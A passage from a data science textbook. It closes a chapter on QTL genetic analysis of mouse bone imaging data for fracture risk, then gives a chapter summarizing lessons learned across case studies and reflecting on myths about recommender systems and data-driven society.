mapped for large genome-scale studies. The markers correspond to a sampling of the
genome information, since the number of base-pairs would be 2.7 billion (Silver
1995). For each marker, the color shows in the figure from where the genetic
sequence at that position for that mouse came.

Our next goal is to compare the values at each position to the computed metrics
on the X-ray image data to find out which positions in the genome were most
responsible for changing the computed metrics, ultimately giving us more
insight into fracture risk. Specifically, these metrics need to be correlated on a
sample-by-sample basis to positions. This task is further complicated by missing

434 K. Mader



and possibly erroneous genetic markers. Furthermore, while 1300 samples are a
large number for an imaging study, it is very small compared to the number of
variables (90 markers) and the resulting degrees of freedom. Using classical statis-
tical methods like student’s t-test and ANOVA are poorly suited for such problems
and would be unlikely to deliver significant or meaningful results. They are poorly
suited for two keys reasons: assumed independence of markers and multiple testing
correction. The basic models of student’s t-test assume each test that is performed is
independent from the previous; in genetic systems, we know the marker distribution

high bone mass

Radial Profile

X

F
2

Fig. 23.8 The progression from parental strains (above) to the F2 cross-strain (below). The two
strains are low bone mass animals (left) and high bone mass animals (right). The figure also shows
average radial profile for each strain
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is heavily interdependent. Correcting for multiple tests would massively increase
(90 different markers to test) the difference required for statistical significance and
many possible meaningful results would be excluded.

6 Statistical Methods

In this section, we cover the set of statistical analysis tools that can be applied to
large-scale genomics studies. The goal of these tools is to determine which regions
of the genome are responsible for which structural properties of the bone structure.
From this we can begin to derive the regions that increase or decrease fracture risk.
As the previously discussed standard tools like student’s t-test and ANOVA are
poorly suited to these problems, we introduce the approach of Quantitative Trait
Loci Analysis (QTL), imputation, and bootstrapping.

Fig. 23.9 The genetic tagging for each animal is shown. The vertical axis shows each animal as a
row and the horizontal axis shows the markers and their position on the genome (chromosome
number). The color is either homozygous B6, homozygous C3H, heterozygous, or unknown
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6.1 Quantitative Trait Loci Analysis (QTL)

Since we know a great deal about the underlying biological processes, we can take
a step beyond looking for single correlations or linear models. Specifically, genetic
ideas like inheritance, dominance, and gene–gene interactions are not easily exposed
from a correlation coefficient. We use the standard phenotype model [see Eq. (23.1)]
to model these effects (Jansen and Stam 1994). Our goal is to perform a curve-fitting
of the measured data to this model to estimate the parameters (a, b, m, μ).

Equation 23.1 The basic model for fitting the value of a phenotype to a series of
genetic loci (Jansen and Stam 1994). Interactions are not included in this study since
their contribution is typically much smaller than the primary additive and dominance
effects.

While the intricacies of the model are best examined in other texts (Jansen and
Stam 1994), we can intuitively come to a better understanding of the model by
examining the ideas of inheritance and dominance. We define inheritance as the
similarity between parent and offspring strains. We then quantify this by looking at
measurable traits (phenotypes). To model this, we represent genotype (x) as an
indicator variable (AA is �1, AB is 0, and BB is +1). The most basic model for
inheritance is an additive effect (see Fig. 23.10 middle panel). These are the product
of the effect size (a) and the genotype (x). We can then incorporate dominance
effects by including a nonlinear term (see Fig. 23.10 bottom panel). For this we
define the dominance effect size (b) by taking the difference of the mean of AB from
the average of the means of AA and BB (if this is zero, there is no dominance
component).

These models are then initially fit to the phenotype for the additive and domi-
nance term (interaction effects are usually much smaller). The output of a QTL
Analysis is a logarithm of the odds (LOD) score for each phenotype at each
measured marker. This score indicates the likelihood that this region is important
for explaining the variance in the population group. This score itself is a relative
measure and only establishes a given region’s likelihood of involvement compared
to other regions measured (Jansen and Stam 1994). Being a logarithmically scaled
number, small differences in value correspond to orders of magnitude differences in
the corresponding likelihoods.

23 Image Analysis at Scale for Finding the Links Between Structure and Biology 437



6.2 Imputing

The strategy used for filling the holes in the missing data is called imputing. For
completely unknown sequences this would mean including every combination of
possible values at every missing point. Since the process of chromosome pairing is

Fig. 23.10 The details of the basic additive-dominance modeling for three different trait loci
(panels) compared to the single phenotype of Mean Lacuna Volume (y-axis) versus different
genotypes (x-axis). The AA indicates both came from the A strain, AB is a homozygous combina-
tion of the A and B strains, and BB indicates both coming from the B strain
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better understood and shows several correlations, the data can be more intelligently
interpolated at the missing points. The data is thus augmented based on these
correlations to a much larger set with no missing points so it can be further processed
(Broman and Sen 2009).

6.3 Bootstrapping

Bootstrapping is a commonly used statistical approach that involves reusing existing
data in different ways (Broman and Sen 2009). As stated above, the dimension of the
data and variable space is too large that simple t-tests or ANOVA analyses would be
unlikely to show any statistically significant results. For this we use a bootstrapping
approach to determine which effects are significant.

We rerun the QTL analysis above many times (in this case 1000) on the original
dataset, where we permute the phenotype values and keep the genotype information
the same. As the inputs no longer correspond to the outputs, none of the results are
expected to be relevant (Silver 1995).

For each of these analyses an average LOD curve is produced. The real analysis is
compared to this baseline. The significance of a given peak can thus be assessed by
the amount it lies above the baseline curve. Figure 23.11 also shows how important it
is to have large numbers of samples (mice) in the study. The difference between
717 and 1221 mice is the difference between finding 1 and 5 significant regions on
the genome (Mader et al. 2015). Finding a region here means the black curve (the
actual results) is above the randomly occurring background (blue). Specifically
finding more regions that are strongly differentiated from random chance enables
us to have more potential targets to identify causes for fracture risk.
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717 mice 1221 mice
QTL trait
# of bootstraps: 1000

QTL trait
# of bootstraps: 1000

2
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0

0 20 40 60

Chromosome Chromosome
80 100 0

0
5

10
15

20 40 60 80 100

Fig. 23.11 The LOD scores and bootstrapping established baseline for determining significance
for 717 and 1221 animals, respectively
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7 Results/Evaluation

The final results of this analysis are models explaining a large percentage of the
changes observed in a number of phenotypes. These models can be visually
represented as several different regions on a map of the genome. Given the lack of
precision of the markers, missing data, and other forms of noise, the regions come
with a confidence interval. Figure 23.12 shows the 95% confidence interval for the
results. The interesting aspects are the overlaps between the newly identified metrics
such as number of cells (Lc.Dn) and cell volume (Lc.V) and known properties like
bone mineral density (BMD) or mechanical traits. The most interesting points are the
loci identified that do not overlap with BMD but do overlap with mechanical
properties as these are regions responsible for bone quality (Mader et al. 2015).

Fig. 23.12 The regions identified in QTL search shown by phenotype (color) and chromosome (x-
axis) position (y-axis). The solid lines vertical represent the findings in this study and the dashed
horizontal lines show the results from previous studies (Mader et al. 2015). The vertical lines reflect
the 95% confidence intervals from the model output. The glyph represents the most likely position
in this band. Finally, the size of the glyph represents the contribution of this region to the overall
phenotype value
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8 Conclusions

The study shows the required process for taking a large challenging problem like
fracture risk and using the tools of image analysis, big data, and statistics to come up
with new insights. The most critical factor for such studies is the processing of large
amounts of high-quality data. The imaging (data acquisition) and genetic tagging
form just a small piece of the entire pipeline. The most critical steps are the proper
storage and analysis of the image data. For this study, the development and valida-
tion of meaningful image analysis steps took 24 times as long as the measurements
(data acquisition) themselves (Mader and Stampanoni 2016). We categorize here
post-processing tasks as all of the tasks that take place after image acquisition and
storage. The post-processing tasks consist of segmentation, quantification, and
statistical analysis. For future studies, more effort should be made to scale and
simplify the post-processing aspects of image analysis. Figure 23.13 shows the
relative breakdown of imaging studies at a large scientific research facility (the
TOMCAT Beamline at the Paul Scherrer Institut). We can see that the majority of
the time is spent on the post-processing component and that the measurements
themselves will be an almost insignificant portion of the entire pipeline (Mader
and Stampanoni 2016).

Fig. 23.13 The figure shows the change in time-distribution for experiments (as observed at the
TOMCAT Beamline of the Swiss Light Source and linearly extrapolated beyond 2014). In 2000, the
division between the four phases was relatively even. As acquisition has become quicker, the
measurement phase has shrunk drastically and the post-processing component has grown to
dominate the time spent
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9 Lessons Learned

1. In order to correlate image data to other data-types, quantitative metrics need to
be extracted from them. For this study it was genomic data, but the lesson equally
applies to satellite images and weather, YouTube videos and click-through rates,
and many other topics.

2. Image data are well-suited for qualitative analysis but require significant
processing to be used in quantitative studies.

3. Given the wide variety of preprocessing steps and the effect they have on the
results, it is important to have a reproducible way to run analysis quickly and
efficiently.

4. Representing long, time-consuming computation in a simple, declarative manner
(like Map-Reduce) allows for you to focus on the data science rather than the
engineering problem. In particular, since many of the tools and platforms of data
science are constantly improving, a less rigid, implementation-focused approach
makes transitioning to newer tools easier.

5. Simple t-tests are poorly suited for studies with large number of variables and
samples.

6. Bad or missing data should be avoided, but by utilizing the tools of imputation,
bootstrapping, and incorporating known distributions, the problem can be dealt
with much better than removing all samples with missing data points.
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Part III
Lessons Learned and Outlook



Chapter 24
Lessons Learned from Challenging Data
Science Case Studies

Kurt Stockinger, Martin Braschler, and Thilo Stadelmann

Abstract In this chapter, we revisit the conclusions and lessons learned of the
chapters presented in Part II of this book and analyze them systematically. The
goal of the chapter is threefold: firstly, it serves as a directory to the individual
chapters, allowing readers to identify which chapters to focus on when they are
interested either in a certain stage of the knowledge discovery process or in a certain
data science method or application area. Secondly, the chapter serves as a digested,
systematic summary of data science lessons that are relevant for data science
practitioners. And lastly, we reflect on the perceptions of a broader public toward
the methods and tools that we covered in this book and dare to give an outlook
toward the future developments that will be influenced by them.

1 Introduction

Part II of this book contains 16 chapters on the nuts and bolts of data science,
divisible into fundamental contributions, chapters on methods and tools, and texts
that apply the latter while having a specific application domain in focus. Some of
these chapters report on several case studies. They have been compiled with the goal
to stay relevant for the readership beyond the lifetime of the projects underlying the
specific case studies. To establish this book as a useful resource for reference in any
data science undertaking, this chapter serves as a key to unlock this treasure.

The chapter is organized as follows: Sect. 2 presents a taxonomy that covers the
main dimensions of content in the individual chapters previously presented in Part
II. In Sect. 3, we give concise summaries of all chapters and their learnings. On this
basis, we then provide an overall aggregation of the lessons learned in Sect. 4,
together with more general insights. Final conclusions are drawn in Sect. 5.
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2 Taxonomy

Table 24.1 provides a taxonomy covering the content of the case studies described in
Part II. The taxonomy highlights the main items of the individual chapters and serves
as a structured index for the reader to navigate Part II.

3 Concise Reference of Individual Lessons Learned

In this section, we provide a reference to the distilled lessons learned of each chapter
of Part II. The section can thus serve the readers to assess their level of data science
knowledge and pick out the most pertinent areas for further study.

Chapter 8: What Is Data Science?
A treatise of the fundamentals of data science and data science research from a senior
researcher’s perspective.

Lessons Learned:

• Data science is an emerging paradigm for accelerated discovery in any field of
human endeavor based on the automated analyses of all possible correlations. It
has no tools to establish causality between the observed relationships.

• Maturity of data science as a discipline is approximately a decade ahead and will
depend on (a) general principles applicable equally to all domains; and
(b) collaboration of experts across previous disciplinary silos (which needs a
“chief scientific officer” role).

• Based on the analysis of 150 use cases, a generic ten-step data science workflow
(in extension of the knowledge discovery process from Chap. 2) is presented and
exemplified based on three major scientific projects.

Chapter 9: On Developing Data Science
Suggests the twentieth-century hardware–software virtuous innovation cycle as a
role model for how data science projects and the discipline itself should be furthered.

Lessons Learned:

• Data science is inherently an applied science that needs to be connected to real-
world use cases: “necessity is the mother of invention,” and data scientists even in
research profit from solving pressing problems of businesses.

• Still, data science is more than doing data science projects, and data science
research units need to be more than the sum of their parts, contributing to data
science “per se” by developing software platforms and generally applicable
methodology across domains.
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• Several common misunderstandings regarding the adoption of data science in
businesses are addressed, including “data science is expensive” or “it is all about
AI.”

Chapter 10: The Ethics of Big Data Applications in the Consumer Sector
An introduction to and guidelines for ethical considerations in data science applica-
tions is given, helping with questions like “to whom does the data belong,” or “how
is (and should) autonomy, privacy, and solidarity (be) affected.”

Lessons Learned:

• A practical guideline regarding unwanted ethical effects is this: would customers
still use the product or provide the data if they knew what their data is used for?
What could incentivize them to continue doing it if they knew?

• Trust and acceptance of data science applications can be created by informing the
customers transparently, and by always providing an option to choose.

• Based on five case studies, a practical weighing of the core values of autonomy,
equality, fairness, freedom, privacy, property-rights, solidarity, and transparency
that can be adopted in a cookbook fashion.

Chapter 11: Statistical Modeling
A plea for the use of relatively simple, traditional statistical modeling methods (also
in contrast to “modern black box approaches”). How to maximize insight into model
mechanics, and how to account for human interventions in the modeling process?

Lessons Learned:

• Descriptive analysis requires explicit statistical models. This includes concrete
knowledge of the model formulation, variable transformations, and the error
structure.

• Statistical models can and should be verified: check if the fit is in line with the
model requirements and the subject matter knowledge.

• To obtain sound results and reliable interpretations, the data-generating mecha-
nism within the model developing process and during model assessment has to be
considered.

Chapter 12: Beyond ImageNet: Deep Learning in Industrial Practice
An introduction to various case studies on deep learning beyond classifying images:
segmentation, clustering, anomaly detection on documents, audio and vibration
sensor signals.

Lessons Learned:

• For designing a deep neural network, start with a simple architecture and increase
the complexity when more insights into the data and model performance are
gained. Generally, if a human expert sees the pattern in the data, a deep net can
learn it, too.
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• There are many options to deal with limited resources, especially limited training
data: transfer learning, data augmentation, adaptable model architectures, or
semi-supervised learning. Applying deep learning does not need gigabytes
of data.

• Deep models are complex, but far from being black boxes: in order to understand
the model performance and the learning process, “debugging” methods such as
visualizing the learned weights or inspecting loss values are very helpful.

Chapter 13: The Beauty of Small Data: An Information Retrieval Perspective
Discussion and case studies that show the different challenges between leveraging
small and big data.

Lessons Learned:

• Finding patterns in small data is often more difficult than in big data due to the
lack of data redundancy.

• Use stemming to increase the occurrences of terms in small document collections
and hence increase the potential redundancy to find patterns.

• Enrich data with additional information from external resources and synthesize
new, additional keywords for query processing based on relevance feedback.

Chapter 14: Narrative Information Visualization of Open Data
Overview of open data portals of the USA, the EU, and Switzerland. Description of
visualization applications on top of open data that enable narrative visualization: a
new form of web-based, interactive visualization.

Lessons Learned:

• Data preparation: The most time-consuming aspect of information visualization.
Data needs to be manually transformed, harmonized, cleaned, and brought into a
common data model that allows easy visualization.

• Visualization technology: High-level visualization frameworks that enable quick
prototyping often cannot be used out of the box. In order to get full visualization
flexibility, interactive information visualization, and especially narrative visual-
ization often require a development path from rapid prototyping using “out-of-
the-box” data graphics toward “customized” visualizations that require some
design and coding efforts.

Chapter 15: Security of Data Science and Data Science for Security
A survey on the aspect of computer security in data science (vulnerability of data
science methods to attacks; attacks enabled by data science), and on the use of data
science for computer security.

Lessons Learned:

• Protect your information systems with suitable security controls by rigorously
changing the standard privacy configurations, and using a secure software devel-
opment life cycle (SSDLC) for all own developments.
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• Guidelines are given in the “CIS top twenty security controls,” and current
security issues are posted, for example, in the “OWASP top 10” for web
applications.

• Also secure your models: anonymization is not perfect, analysis on encrypted or
anonymized data is still under research, and attackers might try to exploit data-
driven applications by data poisoning, model extraction, etc.

Chapter 16: Online Anomaly Detection over Big Data Streams
Various anomaly detection strategies for processing streams of data in an Apache
Spark Big Data architecture.

Lessons Learned:

• Make sure that data processing is performed efficiently since data can be lost in
case the stream processing buffers fill up.

• Pearson correlation and event counting work well for detecting anomalies with
abrupt data changes. For detecting anomalies based on gradually occurring
changes, use relative entropy measures.

• Use resampling techniques to determine statistical significance of the anomaly
measure. When annotated ground truth data is available, use supervised machine
learning techniques to automatically predict the anomaly type.

Chapter 17: Unsupervised Learning and Simulation for Complexity Manage-
ment in Business Operations
A study on developing a purely data-driven complexity measure for industrial
products in order to reduce unnecessary drivers of complexity, made difficult by
the unavailability of data.

Lessons Learned:

• In cases where low-level data is unavailable, available high-level data can be
turned into a simulation model that produces finer-grained synthetic data in
arbitrary quantity, which in turn can be used to train a machine-learning model
with the ability to generalize beyond the simulation’s discontinuities.

• Complexity of industrial product architectures and process topologies can be
measured based on the minimum dimensionality of the bottleneck layer of a
suitably trained autoencoder.

• Data-driven complexity measurement can be an alternative to highly qualified
business consultants, measuring complexity in a fundamentally different but
result-wise comparable way.

Chapter 18: Data Warehousing and Exploratory Analysis for Market
Monitoring
An introduction to data warehouse design, exemplified by a case study for an end-to-
end design and implementation of a data warehouse and clustering-based data
analysis for e-commerce data.
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Lessons Learned:

• Data warehouse design and implementation easily take 80% of the time in a
combined data preparation and analysis project, as efficiently managing a data-
base with dozens of tables of more than 107 records requires careful database
tuning and query optimization.

• Data from anonymous e-commerce users can be enriched using Google Analytics
as a source; however, the data quality of this source is not easily accessible,
making results based on this source to be best considered as estimates.

• When using clustering as an instance of unsupervised machine learning, the
necessary human analysis of the results due to the unavailability of labels can
be eased using sampling: verify a clustering by analyzing some well-known
clusters manually in detail.

Chapter 19: Mining Person-Centric Datasets for Insight, Prediction, and Public
Health Planning
A data mining case study demonstrating how latent geographical movement patterns
can be extracted from mobile phone call records, turned into population models, and
utilized for computational epidemiology.

Lessons Learned:

• Data processing for millions of individuals and billions of records require parallel
processing toolkits (e.g., Spark); still, the data needed to be stored and processed
in aggregated form at the expense of more difficult and expressive analysis.

• It is important to select the right clustering algorithm for the task (e.g., DBSCAN
for a task where clusters are expressed in different densities of the data points, and
K-means where clusters are defined by distances), and to deal with noise in the
measurements.

• Visualization plays a major role in data analysis: to validate code, methods,
results; to generate models; and to find and leverage to wealth of unexpected,
latent information and patterns in human-centric datasets.

Chapter 20: Economic Measures of Forecast Accuracy for Demand Planning:
A Case-Based Discussion
Methods for evaluating the forecast accuracy to estimate the demand of food
products.

Lessons Learned:

• Error metrics are used to evaluate and compare the performance of different
forecasting models. However, common error metrics such as root mean square
error or relative mean absolute error can lead to bad model decisions for demand
forecasting.

• The choice of the best forecasting model depends on the ratio of oversupply costs
and stock-out costs. In particular, a baseline model should be preferred over a
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peak model if the oversupply costs are much higher than the stock-out costs and
vice versa.

• Choosing the optimal observation time window is key for good quality forecasts.
A too small observation window results in random deviations without yielding
significant insights. A too large observation window might cause poor perfor-
mance of short-term forecasts.

Chapter 21: Large-Scale Data-Driven Financial Risk Assessment
Study of an approach to standardize the modeling of financial contracts in view of
financial analysis, discussing the scalability using Big Data technologies on real
data.

Lessons Learned:

• Computational resources nowadays allow solutions in finance, and in particular in
financial risk analysis, that can be based on the finest level of granularity possible.
Analytical shortcuts that operate on higher levels of granularity are no longer
necessary.

• Financial (risk) analysis is possible at the contract level. The analysis can be
parallelized and distributed among multiple computing units, showing linear
scalability.

• Modern Big Data technologies allow the storage of the entire raw data, without
pre-filtering. Thus, special purpose analytical results can be created quickly on
demand (with linear computational complexity).

• Frequent risk assessment of financial institutions and ultimately the whole finan-
cial system is finally possible on a level potentially on par with that of other fields
such as modern weather forecasts.

Chapter 22: Governance and IT Architecture
Governance model and IT architecture for sharing personalized health data.

Lessons Learned:

• Citizens are willing to contribute their health data for scientific analysis if they or
family members are affected by diseases.

• Data platforms that manage health data need to have highly transparent gover-
nance structures, strong data security standards, data fusion, and natural language
processing technologies.

• Citizens need to be able to decide by themselves for which purpose and with
whom they share their data.

Chapter 23: Image Analysis at Scale for Finding the Links between Structure
and Biology
End-to-end image analysis based on big data technology to better understand bone
fractures.
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Lessons Learned:

• Image data are well-suited for qualitative analysis but require significant
processing to be used in quantitative studies.

• Domain-specific quantitative metrics such as average bone thickness, cell count,
or cellular density need to be extracted from images before they can be correlated
to images and other data modalities.

• Rather than removing data samples with missing values, data quality issues can
be handled by imputation, bootstrapping, and incorporating known distributions.

4 Aggregated Insights

On the basis of the individual lessons learned that we described in the previous
section, we will now provide an overall condensation of the lessons learned. We feel
that these points are highly relevant and that they form a concise set of “best
practices” that can gainfully be referenced in almost every data science project.

• Data science is an inherently interdisciplinary endeavor and needs close collab-
oration between academia and business. To be successful in a wide range of
domains, close collaboration and knowledge exchange between domain experts
and data scientists with various backgrounds are essential.

• Building a trust relationship with customers early on by providing transparent
information about the data usage along with rigorous data security practices is key
to guarantee wide adoption of data products. Let the customers choose which data
they want to share with whom. Part of building trust is also to care for potential
security issues in and through data analysis right from the start.

• Data wrangling, which includes transforming, harmonizing, and cleaning data, is
not only a vital prerequisite for machine learning but also for visualization and
should thus be a key effort of each data science project. Ideally, data wrangling
should be automated using machine learning techniques to ease the burden of
manual data preparation.

• Leverage existing stream processing frameworks for enabling data wrangling and
analysis in real time.

• When choosing a machine learning model to solve a specific problem, start with
simple algorithms where only a small number of hyperparameters need to be
tuned and a simple model results. Increase the complexity of the algorithms and
models if necessary and as more insights into the data and model performance are
gained.

• Use visualization to gain insights into data, track data quality issues, convey
results, and even understand the behavior of machine learning models (see also
below).

• Modern big data technology allows storing, processing, and analyzing vast
amounts of (raw) data—often with linear scalability. Restricting models to
representative data samples for the sake of reducing data volumes is not strictly
necessary any more.
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• Leveraging small data with low redundancy requires different and maybe more
sophisticated approaches than leveraging big data with high redundancy.

In condensing the lessons learned to best practices that are generalizable, there is
a danger of losing the surprising, inspiring insights that only more detailed looks at
specific contexts can bring. By necessity, it is impossible to exhaustively compile
such “inspiration” in a list. However, we very much think that much of this
inspiration can be found between the covers of this book. In reflecting on the journey
of the book’s creation, on our own experiences with data science projects over the
years, and on the collaboration with the excellent colleagues that have contributed to
this volume, we want to emphasize some of these “highlights” that we found:

Data science education has to be interdisciplinary and above Bachelor level
to ensure the necessary skills also for societal integration. What are useful
outcome competencies for data scientists? The answer to this question differs for
data scientists focusing on the engineering aspect compared to those specializing in
business aspects or communication or any application domain. But they all will have
the following in common: an understanding of the core aspects and prospects of the
main methods (e.g., machine learning), tools (e.g., stream processing systems), and
domains (e.g, statistics) as well as experience in hands-on projects (in whatever role
in an interdisciplinary team). This, combined with the maturity that comes with
completed discipline-specific studies during one’s Bachelor years, enables a data
scientist to ponder and weigh the societal aspects of work in a responsible and
educated manner.

Data-driven innovation is becoming increasingly fast, yet not all innovation
is research-based; that is why networks of experts are becoming more impor-
tant to find the right ideas and skills for any planned project. In the area of
pattern recognition, for example, we see a usual turnover time from published
research result at a scientific conference to application in an industrial context of
about 3 months. Many of the results there are driven by deep learning technology,
and the lines between fundamental and applied research have become reasonably
blurred in recent years [with companies producing lots of fundamental results, and
universities engaging in many different application areas, compare e.g. Stadelmann
et al. (2018)]. This speaks strongly for collaborations between scientists and engi-
neers from different organizations and units that complement each other’s knowl-
edge and skills, for example, from the academic and industrial sector. Simultaneity
in working on the fundamental aspects of methods (e.g., furthering deep learning per
se) and making it work for a given problem by skillful engineering (e.g., by clever
problem-dependent data augmentation and a scalable hardware setup) seems to
be key.

On the other hand, only one-third of data-driven innovation needs novel research
to happen in order to take place—two-thirds are implementable based on existing
technology and tools once the party in need of the innovation gets to know the
availability or feasibility of the endeavor, given that resources are available (Swiss
Alliance for Data-Intensive Services 2018). If two-thirds of the innovation potential
in a country like Switzerland are achievable by education (informing stakeholders
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about possibilities) and consulting (bringing in expert knowledge on how to
approach the sought innovation), this is a strong argument for every interested
party to team up with like-minded organizations and individuals, again to comple-
ment each other’s skills and know-how to “together move faster.”1

The paradigm of data parallelism that is enabled by state-of-the-art big data
technology makes designing parallel programs relatively easy. However, fully
understanding their performance remains hard. Writing scalable, parallel, or
distributed programs has generally been considered hard, especially when data is not
read-only but can be updated. The main challenge is how to solve the “critical
section” (Quinn 2003), that is, how to avoid that two program threads update a
specific data item at the same time and thus result in data inconsistency. Different
communities use different approaches to tackle this problem. One of the lowest level
concepts for parallel programming is to use multithreading, which requires explicit
handling of the “critical section” via semaphores (Kleiman et al. 1996). The high-
performance community typically uses a higher level of abstraction based on
“message passing” where parallel processes communicate via explicit messages
(Gropp et al. 1999). Both approaches require highly skilled people to write efficient
programs that scale and do not result in deadlocks. The paradigm of data parallelism
deployed by state-of-the-art big data technology such as Apache Spark enables
implicit parallelism (Zaharia et al. 2016). By design, the core data structures such
as Resilient Distributed Datasets or Dataframes enable parallel processing based on
the MapReduce paradigm where the programmer has only little design choices to
influence the program execution. This implicit parallelism has the great advantage
that even people without deep knowledge of parallel programming can write pro-
grams that scale well over tens or hundreds of compute nodes. However, the implicit
parallelism also comes with a big disadvantage, namely, the illusion that programs
scale “by default” and that “parallel programming becomes easy.” The hard part of
writing good parallel programs with novel big data technology is to fully understand
the complex software stack of a distributed system, the various levels of distributed
memory management and the impact of data distribution on the runtime of SQL
queries or machine learning algorithms. Hence, detailed performance analyses of the
workloads and manual optimization techniques such as task repartitioning based on
workload characteristics is often the best solution to overcome potential performance
problems. The important takeaway message is that understanding and tuning the
performance of big data applications can easily take a factor of 10 more time than
writing a program that leverages big data technology.

Let machine learning and simulation complement each other. The traditional
scientific approach is often based on experimentation and simulation (Winsberg
2010). Experiments are carefully designed based on a specific model. Once data is
available or produced by (physical) experiments, the certain phenomena of interest
can be evaluated empirically. In addition, simulation is used to complement

1See https://data-service-alliance.ch/ for an example of implementing this principle in a way the
three authors of this chapter are involved in.
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experimentation. Hence, simulation can be used to verify experiments, and experi-
ments can be used to adapt the simulation model. By comparing experimental
outcomes with those from simulation, the degree of current understanding of the
observed phenomenon (as encoded in the simulation) can be assessed. However, the
disadvantage of this approach is that building experiments can be very time-
consuming and costly. For instance, building a high-energy physics experiment
end-to-end can take more than 10 years (Brumfiel 2011). Moreover, there might
not be enough data available to run statistically significant experiments. Finally,
building simulation models might become extremely complex, in particular, when
some physical, chemical, or biological processes are not fully understood yet.

Hence, machine learning can be applied as an additional pillar. In traditional
experimental science, machine learning can be used to learn a model from both the
experimental and simulated data. The resulting model has the potential to generalize
beyond the discontinuities of the simulation model, thus relieving one from making
the simulation overly complex. This is not to replace experimentation and simula-
tion, but in addition. On the other hand, in other fields of data science, simulation can
serve as a means to data synthesis, thus enhancing the available training data for
machine learning approaches. This is heavily used under the umbrella term of “data
augmentation,” for example, in the field of deep learning.

Models learned from data need to be robust and interpretable to facilitate
“debugging” and make them acceptable to humans. Statistical or machine learn-
ing models are usually subject to a comprehensive empirical evaluation prior to
deployment; the results of these experiments have the power to both show the
respective strengths and weaknesses of the model as well as to demonstrate their
reliability and generalization capabilities to a critical reviewer (e.g., a business
owner, customer, or human subject to a machine-supported decision). Yet, we as
humans feel generally uncomfortable when we are subject to processes that we
cannot fully grasp and at the mercy of which we feel we are (Lipton 2018); and as
developers, having no insight into complex processes like machine learning pipe-
lines and training processes hinders debugging and effective optimization of the
model (Stadelmann et al. 2010).

Recent research and development into model interpretability (see, e.g., Ng 2016,
Shwartz-Ziv and Tishby 2017, or Olah et al. 2017) not only allows the statement that
even the most seemingly opaque machine learning models like deep neural networks
can be comprehended to a large degree by humans. The respective work also opens
up many more possible developments in research (through a better understanding of
what goes wrong) and specific high-risk application domains like automated driving
or clinical health (due to the ability to fulfill regulations and bring about necessary
performance gains). Thus, trust can be built in applications that directly face a human
customer; and better understanding by developers also brings about more robust
models with less peculiar behavior (compare Szegedy et al. 2013 with Amirian et al.
2018). Moreover, the understanding possible through introspection into models
enables data scientists that are mere users of machine learning to select the best
fitting approach to model the data at hand—a task that otherwise needs intimate
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knowledge of the inductive biases (Mitchell 1997, Chap. 2) of many potential
methods as well as of the structure of the given data.

5 Conclusions

Data science is a highly interesting endeavor, breaking new ground in many ways.
Due to the young age and the wide range of the discipline, a number of myths have
already taken deep hold, most prominently those that lead to exasperated outbursts
along the lines of “no one knows how these algorithms work” or “no one can
understand why the output looks like this.” We claim that this is plainly untrue,
and the various case studies covered in Part II of this book are an excellent testament
to this: there is a wide range of scientific literature, and an abundance of tools and
methods available to data science practitioners today; there is a wealth of well-
founded best practices on how to use them, and there are numerous lessons learned
waiting to be studied and heeded.

5.1 Deconstructing Myths by the Example of Recommender
Services

If we look at the disruptive players in the information space and their platforms, such
as Facebook, Google, Amazon, and others, they also very much rely on these tools
and methods to drive their services. Many of the phenomena that, for example,
recommender services exhibit in their selection of items are indeed fairly easily and
conclusively interpretable by those that have studied the relevant, well-documented
algorithms.

It follows that discussions about whether such machine learning components
exhibit unwanted biases are certainly very pertinent, but oftentimes not led in the
most effective manner [see, e.g., the discussion on biases in word embeddings by
Bolukbasi et al. (2016)]. The rapidly increasing use of recommenders based on
machine learning to support many knowledge-intensive processes such as media
consumption, hiring, shopping, etc., is observed with anxiety by some of those that
used to enjoy influence in these fields. Unfortunately, however, these discussions on
the merits of machine-generated recommendations are many times led under the
wrong pretext. Often the starting point is whether the operators of the recommender
service follow a sinister agenda, for example, feeding consumers a steady diet of
questionable information of very little variety [“filter bubble”—see Pariser (2011)].
In this view, compounding the sinister agenda of the operator is, again, the fact that
“nobody knows what they are doing and how they do it.” Scenarios such as
“artificial intelligence is already making hiring decisions and your every blink is
going to influence your chances” are talked up.
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Looking at the situation more soberly, and abstracting from the source of a
decision—be it human or machine—the question should be: What do we really
want as the output? And does a human (as the chief alternative to the AI-based
recommender system) deliver it better and with less bias? In a sense, algorithms can
exhibit traits that are very human: if the data used for training exhibits unwanted
biases, so will the output of the recommender. A widely reported instance of this was
the Microsoft chatbot “Tay” that quickly learned abusive and racist language from
Twitter feeds (Hunt 2016).

Reflecting on the filter bubble, the narrow focus of the information stream
delivered to some consumers can easily be an expression of overfitting—of the
hard problem to generalize to things unseen in prior training, and in incorporating
aspects beyond mere item similarity, such as novelty, diversity, etc., into the
selection mechanism.

Which closes the circle and brings us back to the all-important question: What do
we want from our data? Do we want a “superhuman result”—insight that a human
could not have gleaned from the data, or behavior that a human would not exhibit?
Or do we want to emulate the (competent) human, producing the same decision a
human expert would have arrived at, potentially faster or at lower cost? Are we open
to new insights, and can machine-generated recommendations augment human
decision making by delivering complementary information, being able to leverage
(volumes of) information that humans cannot process? Can it even help to overcome
human bias?

5.2 Outlook to a Data-Driven Society

In an abstract perspective, a recommendation—be it made by a human or a
computer—is the output of a function of the case-specific inputs plus a number of
parameters inherent to the instance making the recommendation, such as preferences
and previous history. Two human experts will produce different recommendations
given the same inputs. Analogously, the output of an algorithm will change as we
change the parametrization. Human decision makers are often bound by rules and
regulations in their freedom to make decisions. In the course of the evolution of
civilization, there has been constant debate on how to shape these rules and regula-
tions, whom to grant the power to define them, and who to task with enforcing them.
Unsurprisingly, we are not at the end of this road. We see no fundamental reason
why similar rules and regulations cannot influence the parametrization, and thus the
operation of, for example, recommender services.

Data science in general has not only the ability to automate or support decision
processes previously reserved to capable humans only, at scale; it also has the
potential to alter the ways our societies work in disruptive ways. Brooks (2017)
skillfully disarms unsubstantiated fears of mass unemployment in the next decade,
and multitudes of humanoid robots or the rise of human-level artificial intelligence
are nowhere to be seen. But the current technological possibilities paired with
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contemporary economic incentives make it quite clear that society will be impacted
on a fundamental level: How can this debate be held in a constructive way in the face
of the opinion economy on social media? How to distribute work when repetitive
jobs (e.g., medical diagnose, legal case research, or university-level teaching) get
digitized to some degree? How to fill one’s time in a meaningful way and distribute
the gain from increased economic efficiency fairly if it is generated by algorithms in
large corporations?

With these exemplary questions above we do not foremost promote to engage in
research on “data science for the common good” (see, e.g., Emrouznejad and Charles
2018), although this is important. We rather suggest that much more than thinking
about rules of how humans and technology can get along and interact in the future,
the possibilities presented to us through a wider deployment of data science will
